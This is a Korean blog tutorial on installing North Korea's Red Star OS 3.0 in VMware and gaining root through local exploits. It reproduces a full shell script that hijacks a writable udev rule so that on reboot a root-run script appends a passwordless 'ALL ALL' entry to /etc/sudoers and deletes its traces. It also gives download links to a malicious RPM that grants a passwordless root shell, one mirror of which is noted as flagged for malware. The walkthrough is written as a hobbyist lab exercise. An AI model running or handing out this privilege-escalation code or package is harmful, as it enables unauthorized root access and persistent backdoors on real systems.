본문 바로가기

컴.스마트폰 활용

북한OS - 붉은별3.0 설치 및 local exploit으로 root권한 따기



http://blog.naver.com/tmvpftnlfem/220701463461


북한OS - 붉은별3.0 설치 및 local exploit으로 root권한 따기


준비물

1.vmware

2.붉은별 3.0



진행순서 요약

1.붉은별3.0 설치

2.공유폴더 설정

3.익스플로잇 코드 입력

4.루트권한 확인

5.rpm 설치를 통한 local exploit




익스플로잇 코드 출처 : http://dandylife.net/blog/archives/tag/linux





1.붉은별3.0 설치



붉은별 3.0을 설치한다.







설치가 끝나면 재부팅후 로그인할수있다.


붉은별3.0을 실행해보면 맥os같은 UI를 가진 리눅스인것을 확인할수있다.





2.공유폴더 설정


 

붉은별3.0에서는 vmware-tool이 일반적인 방법으로 설치되지 않는것 같다.


그래서 익스플로잇 코드등을 복사해오기가 난감하기 때문에

공유폴더를 만들어서 그곳을 통해 옴긴다.







공유 설정으로 가보면 설정을 사용할수없다.


좌측 하단의 자물쇠를 클릭하여

 화면과 같이 로그인을 하게되면

잠금이 풀리고 공유폴더가 활성화된다.





폴더공유가 활성화되면 화면에서 보이는것처럼 윈도우에서 접속가능한 주소가 나온다.

(\\192.168.134.151\)


vmware밖으로 나와서 시작->실행(윈7이라면 프로그램 및 파일검색)에서

 \\192.168.134.151\을 쓰면 공유폴더에 접속된다.





 


공유폴더 접속시 계정과 패스워드를 요구하는데 붉은별 설치할때 만들었던 계정을 사용하면 된다.


로그인하면 붉은별의 계정인 공유폴더가 나온다.



 


3.익스플로잇 코드 입력

 


붉은별에서 터미널은 우측하단에 응용프로그램 아이콘에서 고전형 프로그램으로 들어가면 있다.


그런데 이름이 "터미널"이 아닌 "조작탁"으로 되어있다...






터미널을 열고 쉘의 권한을 얻을수 있는지 확인해보자.


sh로 쉘을 실행시켜보면 기본계정의 권한밖에 없으며,

root의 권한을 요청하면 패스워드를 요구한다.


하지만 패스워드를 모르기때문에 익스플로잇을 통해서 root권한을 획득할것이다.





 

2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash -e
cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
cat <<EOF >/tmp/r00t.sh
echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
rm /tmp/r00t.sh
EOF
chmod +x /tmp/r00t.sh
echo "sudo will be available after reboot"
sleep 2
reboot


http://dandylife.net/blog/archives/tag/linux

위의 주소로 가보면 위와같은 코드가 적혀있는데,

취약점을 이용해서 root 권한을 획득하는 코드라고 한다.





위 파일을 쉘스크립트 파일(*.sh)로 만들어서 실행하면 된다는것 같은데...


쉘 스크립트 파일로 작성하면 제대로 작동하지 않는다.


따라서 위의 코드를 한줄씩 직접 입력해준다.







다른 리눅스의 경우엔 "cat > 파일명" 명령어를 통해 vi에디터를 통하지않고도 작성이 가능하였는데..


붉은별 3에서는 "cat <<EOF >/tmp/r00t.sh" 명령어가 제대로 동작하지 않는다.






echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers

mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules

chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules

rm /tmp/r00t.sh

EOF


그래서 그냥 /tmp 폴더에 r00t.sh파일을 직접 생성했다.






 

r00t.sh파일을 만들었다면 chmod +x /tmp/r00t.sh 명령어로 파일의 권한을 바꿔준뒤 재부팅한다.




4.루트권한 확인


su root 명령어로 권한을 요청하면 패스워드를 요구하는데, 

패스워드를 모르기때문에 권한을 획득할수없다.


sudo sh 명령어로 쉘을 실행하여 계정의 권한을 확인해보면

 root 권한을 획득한것을 확인할수있다.





5.rpm 설치를 통한 local exploit


이번에는 코드를 사용하지않고, 간단하게 rpm을 설치해서 root권한을 획득할것이다.


https://www.exploit-db.com/exploits/35749/

위의 주소로 가보면 붉은별3.0의 소프트웨어 매니저 앱을 받을수있다.



Download: https://mega.co.nz/#!jgBT0RxZ!LQDEBBrbGxE6fag4d_A2C2cWj2PSNR_ZvnSW_UjRD5E

Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/35749.rpm (redstarroot.rpm)


아래의 미러사이트에서는 멀웨어가 검출된다고 나오므로,

위의 mega 웹하드에서 받도록 한다.









rpm파일을 공유폴더로 옴겨놓고,

 붉은별 좌측하단의 "파일열람기"를 통해서 rpm파일을 설치한다.





이제 rootsh 명령어를 사용하면 패스워드없이도 root권한을 가진 root계정을 사용할수있다